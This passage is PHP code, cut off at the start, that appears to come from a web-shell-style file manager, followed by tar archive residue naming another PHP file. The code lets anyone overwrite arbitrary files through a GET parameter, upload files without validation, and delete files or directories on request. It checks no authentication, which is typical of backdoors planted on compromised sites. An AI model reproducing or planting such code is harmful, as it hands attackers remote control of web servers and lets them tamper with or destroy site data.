'; if(isset($_POST['edit'])) { $filename = PATH."/".$_GET['e']; $data = $_POST['data']; $open = fopen($filename,"w"); if(fwrite($open,$data)) { echo (""); } else { echo (""); } fclose($open); } } } if (isset($_POST["upload"])) { $target_file = PATH . "/" . $_FILES["fileToUpload"]["name"]; if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) { echo "

".htmlspecialchars(basename($_FILES["fileToUpload"]["name"])) . " has been uploaded.

"; } else { echo "

Sorry, there was an error uploading your file.

"; } } if (isset($_GET['d']) && isset($_GET['q'])) { $name = PATH . "/" . $_GET['d']; if (is_file($name)) { if(unlink($name)) { echo (""); } else { echo (""); } } elseif (is_dir($name)) { if(rmdir($name) == true) { echo (""); } else { echo (""); } } } ?> rf5em.php000064400000311130151547723600006304 0ustar00